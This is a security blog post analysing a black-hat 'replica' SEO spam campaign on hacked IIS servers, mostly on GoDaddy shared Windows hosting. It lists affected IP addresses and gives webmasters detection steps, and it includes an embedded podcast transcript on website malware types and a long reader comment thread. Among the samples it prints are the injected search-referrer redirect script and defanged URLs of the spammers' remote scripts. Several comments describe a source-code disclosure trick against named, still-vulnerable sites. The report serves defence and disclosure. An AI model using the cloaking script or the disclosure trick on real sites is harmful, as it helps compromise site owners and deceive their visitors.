While doing an analysis of one black-hat SEO doorway on a hacked site, I noticed that it linked to many similar doorways on other websites, and all those websites were on IIS servers. When I see these patterns, I try to dig deeper and figure out what else those websites have in common. This time I revealed quite a few GoDaddy Windows servers have been pwned by “replica spam” hackers.
Let’s Dig Into Some Numbers
1,782 Domains. I collected 1,782 unique compromised domains that hackers use in this campaign. This list is just a tip of an iceberg and I’ll show why a bit later, so read on.
305 IP Addresses. Those websites are scattered across 305 unique IP addresses (actually 304, if we ignore four domains whose addresses I couldn’t resolve). This means roughly 6 websites per IP, however they are not evenly distributed and while many IPs only have one compromised site, some of the servers have hundreds of them.
Top networks:
- GoDaddy: 95 hosts (31%) and 1,095 websites ( 61%. )
- Brinkster: 50 hosts (16%) and 258 websites (14%)
- Network Solutions: 27 hosts (9%) and 77 websites (4%)
- Versaweb LLC: 5 hosts (1.6%) and 88 websites (5%)
As you can see, 84% of all websites belong to 4 networks.
Let’s look closer at servers on these networks, but before we do it I’ll show how I find compromised websites.
Cyber Monday Spam
The spam campaign I’m investigating is promoting online stores that sell cheap “replicas” of popular luxury brands like Beats by Dre, Michael Kors, Lululemon, Uggs, Juicy Couture, Moncler, Ray Ban, etc. Most of the doorways are currently optimized for Black Friday and Cyber Monday deals. The typical anchor text they use in their links is something like “michael kors cyber monday” or “uggs black friday“.
These spammy links point to the homepage of compromised websites, which typically have a block of hidden links at the bottom of HTML code:
<div style="position:absolute;filter:alpha(opacity=0);opacity:0.001;z-index:10;"> ... 30-400 spammy links here ... </div>
If the website is vulnerable enough, hackers will install a script that generates completely new spammy pages specifically for search engines and return normal pages for human visitors — cloaking. The “human” versions of the pages have a small script at the very top of the HTML (usually before the tag) that redirects web searchers to spammy sites. It either something like this:
<script>
var s=document.referrer;
if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0)
{
self.location='hxxp://www .jackets pretty .com'; //just one of many domains they use
}</script>or a similar script, loaded from the spammers’ own server:
<script src="hxxp://nofie.talkmes . com/c/nofie.js" type="text/javascript"></script>
At this point they use the following script URLs:
hxxp://bats . solorule . com/d/bats.js hxxp://bats . solorule . com/c/bats.js hxxp://cancher . iamsanver . com/a/cancher.js hxxp://cancher . letgopub . com/c/cancher.js hxxp://cancher . sanonsport . com/d/cancher.js hxxp://luover . unbangs . com/c/luover.js hxxp://meika . ruvipshop . com/a/meika.js hxxp://meika . sportruns . com/d/meika.js hxxp://meika . ruvipshop . com/a/meika.js hxxp://meika . ukingfans . com/c/meika.js hxxp://nofie . godalice . com/d/cagode.js hxxp://nofie . godalice . com/kspe.js hxxp://nofie . rockenice . com/a/cagode.js hxxp://nofie . rockenice . com/a/nofie.js hxxp://nofie . talkmes . com/c/nofie.js hxxp://ungogo . godleders . com/a/ungogo.js hxxp://ungogo . leftgod . com/c/ungogo.js hxxp://ungogo . leftgod . com/c/ungogo.js hxxp://ungogo . nightleder . com/d/ungogo.js hxxp://js . xufengonline . com/js/zong.js hxxp://www . monclerslocker . com/js/style.js
Most of them are on the 173.252.207.166 IP (Take 2 Hosting Inc).
Detection
Any of these variants are easily detected by both Sucuri SiteCheck and Unmask Parasites, so it’s not a problem to check websites and tell whether they are infected or not.
Now that we know how to detect the infection, let’s just test random websites on some of the IPs that have many infected websites (based on my doorway analysis).
For example, let’s take 184.168.152.150 (where I found 25 doorways) and use the Bing’s “ip:” search operator along with the “cyber monday” keyword to find websites on that server: http://www.bing.com/search?q=ip%3A184.168.152.150+cyber+monday. Now you can scan websites for results that point to home pages (/ or index.html). More than 70% of the websites I checked are still infected (the rest either won’t load or have been cleaned already).
Compromised Servers
This simple Bing search revealed hundreds of infected websites on that server. I observed the same results for 49 out of 95 GoDaddy servers from my list.
184.168.152.149
184.168.152.150
184.168.152.151
184.168.152.3
184.168.27.116
184.168.27.204
184.168.27.205
184.168.27.206
184.168.27.32
184.168.27.33
184.168.27.34
184.168.27.35
184.168.27.36
184.168.27.37
184.168.27.39
184.168.27.40
184.168.27.41
184.168.27.44
184.168.27.46
184.168.27.47
184.168.27.81
184.168.27.82
184.168.27.83
184.168.46.17
184.168.46.18
184.168.46.74
50.63.196.33
50.63.196.34
50.63.196.35
50.63.196.47
50.63.197.10
50.63.197.12
50.63.197.13
50.63.197.139
50.63.197.140
50.63.197.141
50.63.197.142
50.63.197.144
50.63.197.145
50.63.197.203
50.63.197.206
50.63.197.207
50.63.197.208
50.63.197.6
50.63.197.7
50.63.197.8
50.63.197.9
50.63.202.26
97.74.215.156
Those 49 servers are shared Windows servers with thousands of sites. For example, Domaintools.com says 2,050 sites use the 184.168.152.150 address. The websites I checked belong to different users so it’s not just a matter of individual compromised accounts. And the websites are quite heterogeneous – ASP, PHP, pure HTML, etc. so it doesn’t look like a common web application vulnerability either. It looks like those servers have been pwned by hackers who now have access to most user accounts there. Given that we have almost 50 known such Windows servers on the GoDaddy network, this may mean some infrastructure level problems or at least common Windows server security configuration issues.
The rest of the servers typically have one or very few websites (I suppose either dedicated servers or IPs) so they don’t affect this hypothesis.
Some of the Brinkster and Versaweb servers also have this issue:
65.182.100.172
65.182.100.177
65.182.100.186
65.182.100.191
65.182.100.88
65.182.101.106
65.182.101.150
65.182.101.152
65.182.101.206
65.182.101.207
65.182.101.41
65.182.101.60
76.164.226.242
76.164.226.243
76.164.226.244
76.164.226.245
76.164.226.246
It’s still not clear why all websites on those servers have not been infected (or have they been cleaned already?). Maybe hackers infected them semi-manually, so just a few hundred infected websites was good enough for them?
When checking random websites on the compromised servers I noticed that some of them used very old versions of CMS’s (e.g. 4 year old WordPress). Maybe such websites were the penetration points that helped hackers compromise the whole servers later?
I also know that hackers install PHP wrapper scripts on pure HTML sites. For example, it’s typical to see a default.php working instead of index.html when you request a homepage. This wrapper script explains why you see the injected script at the very top of the HTML code and how hackers manage to implement “cloaking” on pure HTML sites.
At this point, I can only see the following things in common on the servers used in this spam campaign:
- Windows
- IIS (usually an old version)
- PHP support
I wonder if this combination has a known security hole that allows to pwn server?
To Webmasters
This time I’d like to reach out to webmasters who host their websites on shared Windows servers. Especially to GoDaddy clients.
Please Check Your Websites ASAP!
You can start with free online scanners like Sucuri SiteCheck and Unmask Parasites,
Then check search results for your website on Google (the “site:” operator), where you should look for unexpected keywords in your page titles and descriptions. Make sure to check “cached” copies that Google store for your site. Then add the following keywords to your “site:” search that may help your spot more web spam:
- site:yourdomain.com cheap
- site:yourdomain.com buy online
- site:yourdomain.com “cyber monday”
- site:yourdomain.com “black friday”
- site:yourdomain.com outlet
Then you might want to figure out if your server looks compromised. First, identify your website’s IP address. You can use commands like ping or host, you can enter your domain name on a website like whois.domaintools.com, or you can at least ask your hosting provider. With your IP, you can then use the Bing‘s “ip:” search along with some spammy keywords.
Here are a few searches that I suggest you can try:
ip:ip address cyber monday
ip:ip address black friday
ip:ip address ”beat by dre cheap”
ip:ip address ”Cheap Louis Vuitton”
ip:ip address viagra online
ip:ip address payday loans
ip:ip address “order cialis online”
If you see many results from different websites, you might want to ask your hosting provider what’s going on there, and if the server is really secure.
We are currently contacting hosting providers so they can address this issue…
Victor Santoyo![Malware comes in many different varieties. Analyst Krasimir Konov is on this month’s Sucuri Sit-Down to help keep them all straight. From malicious iframes to SEO spam, join host Justin Channell as he racks Krasimir’s brain on all the different types of malware. Also, Krasimir discusses his recent blog post about a malicious cURL downloader, and Justin breaks down the latest website security news, including patched plugins you should update. Podcast Transcript Justin Channell: Hello, and welcome to the Sucuri Sit Down. I'm your host, Justin Channell, and this is a monthly podcast about website security, where we get in-depth with the malware removal experts here at Sucuri. Later in the show, I'll have our analyst Krasimir Konov to chat about some different types of malware, but first, let's take a look at other topics we've published on our blog and Sucuri labs notes this month. First up, we have some new information about credit card skimming with hackers using a hybrid method to steal payment information from eCommerce websites. Our analyst Dennis Sinegubko wrote about this for the Sucuri blog back at the beginning of June. Now, most credit card stealing malware is a client side JavaScript that grabs data and sends it to a third party server. But, that approach has a drawback for bad actors because it's still possible to track the requests and catch them as being suspicious. Now, to get around that, bad actors have started harvesting information server side by modifying core PHP files. In this case, the infection would be undetectable from the outside, but it's still going to be pretty easy to find because you're rarely modifying any of those core files, so any of those changes that are going to come up are going to be suspicious. To get around both of these drawbacks, we're seeing bad actors combine the two. So client side snippets of JavaScript are sending stolen credit card data to server side scripts that they've installed on the same server as the site. Now, this allows bad actors to cover their tracks a little bit because the traffic that's being redirected is going to the same server, and that's less likely to be flagged as suspicious. It's a bit more complicated to pull this off, but our team has been seeing this hybrid approach in the wild, so it's something to be on the lookout for. Now, another month has passed, and we found more cross site scripting attacks targeting WordPress plugins. Most notably, we discovered one that affects users of the YITH WooCommerce Ajax Product Filter plugin. Now, this is a plugin that allows WooCommerce stores to be filtered by product type, and it's pretty popular. It's got about 100,000 users right now, so with it being vulnerable, it's very important that all of them update to the latest version, which is 3.11.1. Some of the other plugins we found cross site scripting vulnerabilities with included Elementor Page Builder, Careerfy, JobSearch, and Newspaper. If you're looking for a full list of vulnerabilities that have been patched this month, John Castro at the Sucuri Labs blog has you covered. Check out our show notes for the link. Also, this month I had a blog go up detailing what's called a jibberish hack. It's basically the same motivation as an SEO spam attack where bad actors use your site's good standing to redirect visitors to their own sites. But in this attack, you'll find a bunch of randomly named folders filled with a ton of HTML files with really nonsensical file names like cheap-cool-hairstyles-photos.html. It's just going to be a mishmash of keywords that clearly you didn't put there. Unfortunately, just deleting all those HTML files and folders is not going to be enough to get rid of that jibberish hack though. You're going to need to fully clean any hacked files and database tables, and then you're going to have to deal with all the damage caused to your site's standing. And just keep in mind, if you find anything about that process too daunting, we're always here to help. Now, for this month's Sit Down, we have Sucuri analyst Krasimir Konov. Earlier in June, he had written a lab's note about a malicious downloader script that used the curl function, and we chatted a bit about it, but more importantly, we went really in-depth on all the different varieties of malware that website owners need to be aware of. But, before I get started with Krasimir, I just wanted to remind you about the Sucuri Sync-Up, our sister podcast. It's a weekly website security news briefing that you can find anywhere you get your podcasts, as well as the video version on our social media feed, and now you can even get it on your Amazon Alexa smart speakers. Just search Amazon skills for Sucuri Sync-Up, add the flash briefing, and get new content delivered every Monday. Now, on with the show. Hi Krasimir, thanks for joining us on the show. I thought we could start off and maybe have you tell us a little bit about yourself and what you do here at Sucuri? Krasimir Konov: Yeah, sure. Well, I joined Sucuri originally in 2014, but I've been in the IT business for about 10 years. Nine of those I did security. And currently at Sucuri I'm one of the malware analysts. I used to work in the front lines, used to clean websites and whatnot, and then I gradually moved up, and now I'm working in the malware research department. And my day to day job is basically analyzing malware, and then once I analyze it and figure out what it is, then I will create a signature for it. And we'll add those signatures to our tools, so we can automate some of the work we do. And I also write some Labs Notes blog posts. Usually, if I find something interesting in malware or some security topic, I'll write about it. Justin Channell: Yeah. And of those topics recently that you wrote about, one was about a malicious curl downloader, and how exactly did that work? Krasimir Konov: Right, yeah. That was an interesting one, but not very unique or anything like that. We see that a lot with curl being used as a downloader. It's a very common malware. So rather than including the actual malware in the file, the attackers would use curl to download the malicious code. In this case, they'll download it from Pastebin, but it could be anything. It could be another website or anything like that, and curl would just make a call to the website, request the code. The website will respond with the code, and then later on, there is some code to either save the output somewhere on the website, or you'll just run it through eval and execute the actual code right away. Justin Channell: Right. And you said that it's commonly found in malware, but let's kind of maybe talk a bit broader about malware in general. What is everything that is classified as malware? Krasimir Konov: Well, in general it will be anything that the owner of the website didn't authorize, anything that was added by a third party. There is a lot of different malware. It could be even something like a defacement that will also be considered malware because it was something the user did not authorize. Even though it might not be doing anything malicious on the website, it's not infecting users, the visit is still something they did not authorize. So defacement would also be considered malware. And even something like ransomware where the website is technically not really damaged, it's all encrypted, but it's not infecting anybody. It's not doing anything malicious, but it's still encrypting the entire website and asking the user or the customer, the owner of the website for a ransom they need to pay in order to get the website back online. Justin Channell: Okay. Let's maybe break it down to each individual type of malware. For example, what would be a way that maybe I-frames could be maliciously used by a hacker? Krasimir Konov: Yeah. An I-frame can be used maliciously when it loads content from another location. You can look at the I-frame as a window that just opens another website. So anything that website has on it, you're pretty much loading it through the I-frame. So if that website is infected and it's serving some kind of malware, by opening an I-frame, you're loading all those elements, everything that was on this website. And sometimes the I-frame can be as small as pixel or something hidden somewhere off the screen, so you wouldn't even know that it was opening it. Justin Channell: And yeah, I feel like we've also seen a lot of them where they're used almost to mimic popups as well. Krasimir Konov: Yeah. I mean the I-frame, it could just load from another website and the other website could do anything. It could be serving just malware and it would try to infect the user that doesn't even know that they're being connected to the other website. It could just have some other JavaScript that's just trying to open up pop ups on the original website through the I-frame. Yeah, it could be a lot of things. Justin Channell: Okay. And also, let's talk a little bit about conditional redirects and how those work. What allows a script to detect which devices are coming in and where they're coming from? Krasimir Konov: Right. Yeah. That's a common one we see a lot. Basically, a conditional redirect would be something, it's a redirect on the website. It's obviously malicious, but there's certain conditions that need to be met before the redirect is actually executed or the redirect happens. For example, let's say if it's on a phishing website or a phishing page that is hidden somewhere on the website. For example, if Google visits it, obviously the attacker doesn't want Google to see the actual phishing page and record it as a phishing page. So they'll look for, for example, the IP address. They would look for the user agent. And a lot of times they can tell that it's a bot. So they'll just return a 404 response, for example, that will be like, "Oh, page not found." So Google would be like, "Oh, it looks like this page doesn't exist." But then if a regular user goes to the same page, then those conditions will be met. The actual website or the script behind the phishing will check and see, and be like, "Oh, this one is running Firefox or Chrome," and be like, okay. And then they'll look at the IP and be like, "Oh, he's in whatever, he's in United States somewhere." And he's like, "Oh, okay. That's good." And then once all of these conditions are met, then the actual script will serve them the actual phishing page. And it'll be like, "Oh, you need to fill out this to recover your account or whatever, or type in your credentials to log in here." Justin Channell: And so this is the type of thing we're really, a website owner is going to run into this more commonly when people are complaining about they're getting served bad content or whatever, and they can't seem to replicate it. It's likely probably these kind of redirects. Is that right? Krasimir Konov: Right, right. It could be something as specific as, for example, a range of IP addresses that correspond to an ISP or maybe let's say a country. It could be like, "Oh, were targeting only customers in the US," so if you're connecting from another country and you go to the same website or the same page, it would just say 404. It will give you a page not found. But then if you actually have an IP address from the United States, you're connecting from the United States, then it will actually show you the phishing page. Justin Channell: Now another type of malware I feel like we see a lot here is SEO spam. We hear people talking about that. What are some of the top SEO spam keywords that you see coming through? Krasimir Konov: Yeah. We get that a lot. We see a lot of spam on websites. A lot of times attackers will use SEO spam to gain ranking for their own website. Or they'll just try to include some kind of SEO spam in links to another website that they're currently running or something. I mean, these things change all the time. So a website might be up for a week and then it'll disappear, and then they'll start another campaign. But yeah, we see that a lot. We see all kinds of keywords they use. Most common ones will be something like Viagra. We'll have like jerseys for sale. A lot of times, they'll use name brands like Nike, Rolex, Prada. We've seen even some essay writing services for some reason. I'm not sure why, but that's common. We see, for example, pharmaceuticals a lot that will use specific medicine names. They'll use all kinds of replicas, like a replica bag of this, replica this, replica that. We'd see prescription, also payday loans. And obviously there's some adult related sites and things like that keywords. Justin Channell: So pretty much anything that people are going to be searching and clicking on are probably going to be targets for SEO spam? Krasimir Konov: Right. I think a lot of it commonly is pharma related because a lot of people are looking to buy medicine online, and a lot of times will require a prescription. So a lot of people are like, "Oh, let me see if I can find this medicine that I can buy it online somewhere." They don't need a prescription. They don't want to pay to visit a doctor and whatnot, and they'll look for it. And yeah. Justin Channell: Now, whenever somebody's website does get hacked with a SEO spam attack, what kind of effect can it have on the website beyond just being defaced? Krasimir Konov: Yeah. You can have a lot of things can happen, negative things. For example, the website can be blacklisted because of the keywords. And that usually represents a big red warning when you go on the website, depending on who blacklisted it. But if it's Google, for example, you'll see a big warning and it'll tell you this website contains malware or there's something wrong with this website. So, pretty much all the traffic on the website will be gone. And then you can also lose a lot of your reputation if there is a SEO spam on the website. For example, if you were ranked in say number five for certain keywords that represent your product on Google search engines, and then suddenly you get hit with SEO spam, then all these search engines then go and visit the website. And all of a sudden they're like, "Oh, there's all these weird key words on here, all this SEO spam that's causing a lot of mixed signals." And the search engines are like, "Oh, where do we rank this website now? Do we rank them with this product that's originally what the website is about? Or do we take into consideration all these other keywords that are mixed up that are SEO spam?" So, all of a sudden your website might go from being ranked number five on the first page to being on the 10th page. And then you rank for all these other keywords that you didn't intend to. And then people search for something completely different. They're searching for jerseys or something, or now they're searching for Prada products, and then suddenly your website pops up in there. So you're not really getting any good traffic, not targeted traffic. But, yeah. Justin Channell: Okay. So in a lot of ways, the effects of SEO spam would kind of be the same for defacements or any kind of malware with the blacklisting, but it does bring that kind of unique part to it where then it can also then bring traffic that you weren't expecting from somebody searching for jerseys, for example. I had not really ever thought about that. Krasimir Konov: Right, right. Yeah. It will definitely bring some traffic. I've seen a lot of times where websites will be connected. Let's say, there was 1,000 websites that were all infected with SEO spam, and it will kind of link each other to try to bring each other up into the rankings. And so you would see a lot of strange traffic from some random websites that were, for example, that were previously infected, even if they might not be anymore. But yeah, they'll be sending traffic to you or there'll be usually search engines sending you traffic, but for the wrong keywords. People are looking for something else, so obviously they're not going to be interested in your website. They're not going to buy anything because they're not looking for that. Justin Channell: And now, so thinking of the way websites get infected, a very common way it seems to be is through phishing campaigns. What are some recommendations you have for the best ways to avoid becoming a phishing victim? Krasimir Konov: Yeah. There is some ways. I mean, it depends really on the type of attack. Obviously, a lot of people, when they think of phishing, they think, "Oh, it's just like a PayPal phishing page and it just looks like the original," but it could be more subtle. If it's just a regular page where you're just going and you get redirected to another website, obviously the first thing to look is if you have the security padlocks, make sure that traffic is encrypted. A lot of these websites don't really have any encryption nowadays. More are starting to get that with pre SSLs being issued and whatnot. But that's the first thing to look and see, make sure. Anywhere you're typing your sensitive information, you want to make sure you have the padlock to make sure everything is encrypted. Krasimir Konov: But also you want to look at the URL of the actual website you're visiting. A lot of times they'll try to hide it. So you might have to be careful and look closely. Something that might be an I will be an L or something like that. And a capital I and L might look kind of similar into your IRL, so you might miss something like that. Say, if you're looking for PayPal and it might replace the L with an I, and if you don't look closely, it might look exactly the same. And you're like, "Oh, okay, it's paypal.com," but not really. So yeah. Just pay attention to the URL, make sure it is the actual website. There's no paypal.com dot something, dot something else, dot com. Yeah. You want it to just say paypal.com, and then it'll have forward slash and something else. But yeah, it gets more complicated when you have, for example, a phishing page that's injected into a regular page. For example, you have a checkout page on a website that you're buying things from and you go through the checkout page and you're looking at where you type in your credit card information and whatnot. And you might have a phishing page that actually looks exactly like a little box that gives you where you put in your credit card number, or your name, your address, and all that. So that will be more subtle. For example, that could be also an I-frame that's just coming from another page. And it will look exactly like it's part of the website. You're on the legitimate website, but only that portion of the website is actually the phishing page. And you look at it and you're like, "Oh, okay. It looks fine. I'm just putting my credentials." So that one could be a lot harder to figure it out. Usually, if it's something like that, I look for something that looks kind of out of place. Maybe they didn't get the right font. It might not be the same as the original website or there might be something out of place, some fields that are missing or some fields that are squished into the left or the right. It looks kind of awkward. It's like, why would this be like this? The whole website looks professional. There's a pink background or something, for example, and then suddenly there's this white box in the middle. It's like, ah, it looks kind of weird, out of place. Justin Channell: So pretty much if anything looks slightly out of place, you really should double check everything at that point. Krasimir Konov: Right. Right. Yeah. Obviously there's more ways that you can check, but I wouldn't get into more technical, like inspecting elements and looking at stuff, but yeah. Justin Channell: And now another type of malware that's kind of, and it kind of plays in with whatever the other infection is, is backdoors. Can you give us some examples of what backdoors can be? It's mainly just when a hacker can get back into the site to reinfect it, but I know there are a ton of different methods. And what are some of the more common ones and then maybe some that really interesting that you've seen? Krasimir Konov: Yeah, there is a lot. They'll probably be one of the first things the hacker would do is if they compromise a website, obviously they'll try to spread backdoors and just inject code everywhere so they can get back in, even if the owner of the website or webmaster cleans it. They want to try and hide some malicious code somewhere so they can always get back in. There's many variations. A backdoor could be something as simple as a single line of code to just [inaudible 00:20:19] argument, some kind of string or something via get or post. Krasimir Konov: And then it runs into an eval, so it evaluates the code and executes it. And some backdoors are very complex and they can be included in, let's say you have a WordPress site and you have a specific login page where all the login credentials are being processed and everything else. They could even inject code into that to basically bypass the whole login mechanism so that they can just bypass everything. They don't even have to know any user. They don't have to know the password, nothing. They'll just include some lines in there, and every time they'll be just able to log in. Yeah. It gets pretty crazy. Yeah. I mean, there's all kinds of malware. There is always a malware, for example, that just targets credit cards and will just target the eCommerce websites. And they'll just try to steal the login credentials, I mean, the credit cards. They'll try to get your address, your credit card information, any kind of CVV code or whatever you typed into the billing address, everything. And then there's also malware like the backdoors that are just trying to keep the attacker in control and trying to get them back into the website. There's just so many variations of what a malicious user might want to do on a website. Some can be something as simple as just reinfecting the website. They don't want to keep control. They just want to keep reinfecting it with some kind of malware. So even if you clean it, it would just get reinfected. Some of them in the database, otherwise might be in the files. We've seen some added into a [inaudible 00:22:14] job that just keeps running on the server. There could be malware that is just a giant to, for example, attack out of websites. Like for example, a distributed denial service where they put the same malware on thousands of websites. And then they try to send traffic to one website to try to bring it down. Yeah. People try to do all kinds of stuff with websites. We've seen even some cryptocurrency mining malware that you go onto a website and suddenly your PC starts running like crazy. And you're like, what the hell is going on? Your fans turn on and the PC is 100% CPU. And it turns out that the website has some malware that's just by mining Bitcoins with your CPU and it's using all of it. Justin Channell: Wow. Okay. So one question now, the last question I have is of all the malware that you've seen, what do you think is the coolest piece of malware that you've ever seen? Krasimir Konov: I think the coolest would be the ones that are so subtle that you don't even know that it's there. For example, we've seen some that were pretty innovative. It will be just a one liner code that's just one line. And for example, it will be let's say 40-50 characters, something like that. And that's all it is. And they'll hide it somewhere in between the legitimate code. And if you don't know what you're looking for, you would never see it. It doesn't look suspicious. There is no links to some other website. There's no some kind of encrypted code or anything like that. It's just a simple one line. And then if you're just scrolling through the file looking for something, you would never see it. It just looks like all the other code. And then if you look closely, you're like, "Oh, there's this..." Look closely, and you're like, "Oh wow, this is not supposed to be there." And then you keep looking at it and you're like, "This looks really weird." And then you see that it's actually doing some malicious things and trying to evaluate some code or taking output from the outside, I mean, some input from outside, you can call it and give it code to run. Justin Channell: Well, Krasimir, thanks for coming on and talking to us for today. Krasimir Konov: Yeah. Thank you. Thank you. I'm so happy. I'm glad I was able to do this podcast and I can't wait to do another one. Justin Channell: Yeah, we'll have you on again. Thanks. Krasimir Konov: Thank you. Justin Channell: Thanks again to Krasimir for joining us here on the Sit Down. We'll be back with another episode next month. So be sure to subscribe on Apple podcasts, Spotify, Stitcher, or any podcasting platform. Also, be sure to follow us on social media at Sucuri Security and check us out at sucuri.net. That's S-U-C-U-R-I.net. I'm Justin Channell, And this has been the Sucuri Sit Down. Stay safe out there.](https://blog.sucuri.net/wp-content/uploads/2020/05/20-sucuri-podcast-blog-post_blog_image-390x183.jpg)
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33 comments
Nicely thorough research Denis. Thank you!
The company I work for has hundreds of clients, this week the reports have been rolling in, we’ve confirmed12 sites have been hacked in the exact manner discussed here. All 12 sites are hosted on GoDaddy shared “windows” servers. On all 12 sites we found at least one weird .asp file, usually saved in an odd directory to obviously go unnoticed, but saved in Sept 2014. So something happened back in Sept, and the hackers are just now exploiting it.
Could you share the code of that .asp file? Pastebin?
Here is the code in the file:
the filenames are never the same, this one was named “tcTycZgooZa.asp” and was hidden in an images directory
Thanks.
I checked, we have this ASP backdoor in our collection.
ASP backdoor or IIS backdoor can you clarify?
ASP backdoor. Haven’t seen a true IIS backdoor in ages… But be careful, when NTFS file permissions are set wrong and / or application pools run under a privileged user (like NETWORK SERVICE), then this could and will compromise your entire server!
Yes very true, but since this is on a shared hosting plan with go daddy and it has affected many, I am concerned , but keep in mind that the ability to control the pools and service accounts are locked down by the provider.
Ok another thing to consider….. (My Background: I have done many hours researching this because I take it personally when I have been hacked and no one seems to know why.) Just for kicks go visit http://narratavius.com Notice anything odd? Why would a new domain have been hacked? FTP? ASP? IIS? and why would it be infecting IIS shared hosting plans by the masses? I had two completely separate accounts, both windows share hosting plans get hit with this.
I noticed a odd asp file as well. It was a time stamp code perhaps gathering information that the hosted site/server was on the vulnerable list. It was dated a couple weeks before the actual HTML files were modified with linkspam
Was IIS compromised, or websites on IIS?
IP addresses report different versions of IIS: 6.0(!), 7.0, 7.5. The Versaweb IP’s report to be running nginx with an ancient PHP 5.2. For as far as server response headers are reliable of course.
It’s not clear what exactly was compromised. But I can see that this campaign targets only sites on IIS servers. And on some of them, a significant number of unrelated sites are hacked.
Good catch on the Versaweb. Indeed, nginx. But it looks like all the sites there have been specifically built for this blackl-hat SEO campaign. For example, check this siteL lalenguafanzine.com. Only the hope page with all navigation links broken. And those links point to .aspx(!!!) pages. So it looks like they copied a template of some legitimate site and filled it with spammy content.
The same applies to the rest sites on the Versaweb IPs. Another, quite meaningfull domain: http://www.daytonbowenworks.com – again spammy homepage and broken .aspx pages. This site is definitely has been copied from hxxp://humanfactoranalytics .com/, which is hosted on 184.168.152.151 – GoDaddy – you can find it in my list of the GoDaddy IPs in this article.
Hmm, the first two sites in your Bing result page (bhnetug [.] org, latetermabortion [.] net, hosted on the IP address 184.168.152.150 are vulnerable to a source code disclosure vulnerability in IIS. This one is waayy old: http://www.saotn.org/multiple-iis-60-75-vulnerabilities/ , http://seclists.org/fulldisclosure/2012/Jun/189.
For example on latetermabortion [.] net, add /default.asp/.php to the URL to view the source code. I can only imagine the IIS configuration is so wrong it’s vulnerable for many more vulnerabilities. For all you know the application pools run under the same identity (not “applicationpool identity”) and one website breach can mass deface all others.
From the looks of it, bhnetug [.] org runs an old version of DotNetNuke, and see /default.aspx/.php.
Edit: Denis, do you – or does Sucuri – have a security contact with GoDaddy on this matter? The .NET source code disclosure vulnerability (2,5 years old…) needs to be patched.
So far I only see IIS 7.0 being affected. What is interesting is searching for key code words used by the linkspam I found some similar attempts earlier this year with same key words without the black friday etc etc.
We had a client last week with this problem. We don’t control his hosting but by the time anyone noticed it, someone, maybe his webhost Godaddy, had already corrected it. He’s hosted on a IIS server.
I experienced this back in mid October, not the same time frame but everything else matches. I spent ages on hold with GoDaddy tech support trying to get access to the logs to try to figure out how they got in. When the tech came back on the line he was evasive and the only thing I could get out of him was that it was fixed. Hung up after learning nothing but with a strong suspicion that the issue was definitely on their end. No problems since.
Similar GoDaddy story here. But then listen to this, we downloaded our client’s web logs for the past month. The IIS log for the date the files were modified is conspicuously missing. The log for the day before and day after are there, but for the day we believe the breach occurred there is no log file.
And then when our client called GoDaddy to report the breach, the GoDaddy rep. made some unexpected comments to my client… basically insinuating that since I contacted the client before the client knew they were breached, that maybe I had something to do with it.
Hostgator servers are infected :p
I Broke news of this back on Nov 20 2014, right when it happened. Unfortunately I tried to report these to other sites but was not successful. You can read more about my findings here. http://www.bleepingcomputer.com/forums/t/556918/possible-breach-on-godaddy-hosting-serves-windows-shared-hosting-accounts/
I had several accounts hacked all IIS based and on differnet servers.
So far I have a this response from GoDaddy:
“We review and investigate every report and will take immediate action to stop such activities.
Due to the large amount of sites you have reported this may take some time to fully resolve but we will do so as swiftly as possible.”
But I’m planning to contact them again – I found a few more similarly compromised servers.
One of my sites I just noticed got hacked on 11-27-14 again adding more SEO spam to what was already there. Interestingly it did not effect my other hosting account. I left this infected account alone waiting for someone to look into it. If you want access to this account (untouched for forensics) your are more than welcome to have at it to see the hack. Please contact me at chris.wendi(at)gmail(dot)com
Really good catch on the “source code disclosure” vulnerability. This made my investigation a bit more fruitful since I can now see server-side malicious code.
And I checked a few other GoDaddy servers and they are vulnerable too. On the other hand, Brinkster servers are not vulnerable
YES! I think your on to something! I too believe this is a IIS vulnerability hack, Interestingly earlier this year mid summer I found a Iranian hacker (via google keyword code searches) defacing webistes, one of the footprint CSS style codes used in this SEO spam hack was also ironically on the hacked site they defaced.
My website is still affected by this, as of now, 12/15/14. It is on one of the servers you list in the article – 184.168.46.17 My website forwards to an UGGS boot spam site. But only the home page, and only when accessed through a search engine (Google, Bing, and Yahoo). I have called GoDaddy support twice about this, and they say they can’t see the problem, and that they have checked the server multiple times, and that everything is fine. But the problem persists, and I have confirmed with several friends in different parts of the country, and they are directed to the UGGS spam site as well. I do not know what to do, because GoDaddy will not acknowledge it. I have directed them to this very article, but they say that they don’t know what I am talking about.
That is is the very reason I have got involved online. They want to sell me a Site monitoring service instead of addressing the real issue.
I have a site on brinkster that recently suffered with this issue (for the second time in 6 months).
The site is .asp and is on 65.182.100.192.
Thanks to this article and the comments I found that if I add /.php to the urls I can view the source code of my site (Microsoft IIS 7.5 .NET source code disclosure and authentication bypass)
The brinkster control panel for shared hosting does not allow configuration of IIS. You also cannot disable FTP
The fix I used for the view source issue was to add a web.config file with
What fun,. i find the virus on all of my sites today, a quick search and i find mt ip in your list above. Thanks for the update. Only bright side is my sites get next to no traffic so the hackers gained nothing.
No to start fixing
This has happened to my godaddy pure html site twice in the past 2 weeks.
Hacked two of my websites. WHAT I WANT TO KNOW…yes yelling at you NetWorkSolutions is why it took WebMaster tools at Google to see it roughly two weeks after it happened, and you never had a clue. I only found out after google crawled my site. Have three service calls to NWS and not even a reply. Please add the redirect spam site hxxp://www.bestjordanslocker.com/ . Looks like my email to GoDaddy (hosting site for offending website and registrar) did not go unnoticed for long. However, still quite a few websites infected if you search for “feets.asp?id=95” . The offending redirect. I am thrilled to have found this site. Thank you so much Denis for posting your report!!! Booked marked for reading. Thanks, Greg
Hacked two of my websites. WHAT I WANT TO KNOW…yes yelling at you NetWorkSolutions is why it took WebMaster tools at Google to see it roughly two weeks after it happened, and you never had a clue. I only found out after google crawled my site. Have three service calls to NWS and not even a reply. Please add the redirect spam site hxxp://www.bestjordanslocker.c… . Looks like my email to GoDaddy (hosting site for offending website and registrar) did not go unnoticed for long. However, still quite a few websites infected if you search for “feets.asp?id=95” . The offending redirect. I am thrilled to have found this site. Thank you so much Denis for posting your report!!! Booked marked for reading. Thanks, Greg
Thank you! I’ve been contacting Go Daddy about this since November. I keep uploading new pages, which become infected with the code quickly. Go Daddy isn’t doing anything even though I inform them of my issue. Armed with this information–all of which applies to my problems–I will go back to them and demand they clean up my server. Thank you for doing this for all of us!
